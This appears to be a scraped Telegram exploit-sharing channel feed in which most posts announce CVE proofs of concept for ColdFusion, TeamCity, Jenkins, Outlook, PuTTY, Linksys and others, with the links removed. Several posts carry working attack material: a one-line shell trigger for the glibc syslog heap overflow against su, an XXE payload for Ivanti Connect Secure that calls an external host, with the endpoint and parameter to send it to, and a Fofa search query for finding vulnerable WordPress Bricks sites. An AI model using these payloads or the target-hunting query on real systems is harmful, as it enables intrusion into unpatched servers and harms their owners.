proof of concept of CVE-2023-7028

Github

#CVE #POC
————
0Day.Today
@LearnExploit
@Tech_Army

Moriarty - Moriarty scans for a variety of CVEs and vulnerabilities

Github

#CVE #Tools
——————
0Day.Today
@LearnExploit
@Tech_Army

CVE-2023-26360 - Unauthenticated RCE in Adobe Coldfusion

POC

#CVE #POC #RCE
——————
0Day.Today
@LearnExploit
@Tech_Army

CVE-2024-0193 - Kernel Root Bypass

Github

#CVE #Bypass
——————
0Day.Today
@LearnExploit
@Tech_Army

CVE-2023-6246 - Heap-based buffer overflow in the glibc's syslog

POC :

(exec -a "printf '%0128000x' 1" /usr/bin/su < /dev/null)

#Cve #Poc
——————
0Day.Today
@LearnExploit
@Tech_Army

CVE-2024-22024 - XXE on Ivanti Connect Secure

payload encoded base64:

<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://{{external-host}}/x"> %xxe;]><r></r>

⚠️ send it to 127.0.0.1/dana-na/auth/saml-sso.cgi with SAMLRequest parm

#CVE #Payload
——————
0Day.Today
@LearnExploit
@Tech_Army

PoC + Nuclei + Query CVE-2024-25600 Unauth RCE - WordPress Bricks - 1.9.6 CVSS 9.8

Query Fofa: body="/wp-content/themes/bricks/"

POC

Nuclei

#POC #Wordpress #RCE #CVE
——————
0Day.Today
@LearnExploit
@Tech_Army

CVE-2024-20767 Adobe ColdFusion


#Cve #Exploit
——————‌
0Day.Today
@LearnExploit
@Tech_Army

CVE-2024-21413: Microsoft Outlook Leak Hash

CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC

#CVE #POC
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Jenkins CVE-2024-23897

Link

#CVE
——————‌
0Day.Today
@LearnExploit
@Tech_Army

CVE-2024-3094 - An ssh honeypot with the XZ backdoor.

Github

#CVE #Honeypot #Backdoor
——————‌
0Day.Today
@LearnExploit
@Tech_Army

CVE-2024-27198 & CVE-2024-27199 AUTHENTICATION BYPASS
Rce in jetbrains teamcity exploit

Github

Github

#exploit #Cve #Bypass
——————‌
0Day.Today
@LearnExploit
@Tech_Army

TeamCity
CVE-2024-27198 & CVE-2024-27199 TeamCity Authentication Bypass

LearnBox:
1_Exploits
2_Video

#CVE #Bug #Authentication #Bypass
➖➖➖➖➖➖➖
📣 T.me/LearnExploit
📣 T.me/BugCod3

CVE-2024-26630

Linux 6.5 Kernel Pointer Leak ❗️

Link

#Cve #linux #Exploit
——————‌
0Day.Today
@LearnExploit
@Tech_Army

CVE-2024-31497: Critical PuTTY Vulnerability Exposes Private Keys

Link

#cve
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Linksys routers POCs

CVE-2024-33788

CVE-2024-33789

#Cve #Poc
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Information ImageIO vulnerability discovered in iOS 18.6.1
Early in the morning of August 21, Apple rushed out iOS 18.6.2, which primarily fixes the ImageIO vulnerability. PoC Link
The vulnerability has a CVE number of CVE-2025-43300. This vulnerability can affect the handling of malicious image files, causing memory corruption and even allowing remote command execution.
#cve #poc #rce

🤩🤩🤩🤩🤩🤩🤩
IR0Day.Today Bax
@LearnExploit
@Hakfateam

🎯Nexjs Vulnerability Authentication Bypass

🪲If you remember, last year there was a dangerous vulnerability in nexjs with cve-2025-29927, which was a version of the vulnerable nexjs version that used header middleware to authenticate users, allowing access to protected paths without sessions. I found and reported this bug yesterday. There are a lot of site users, so I hope they fix it quickly.

#bug #hunt #vulnerability #hacker #cve #گزارش

@hakfateam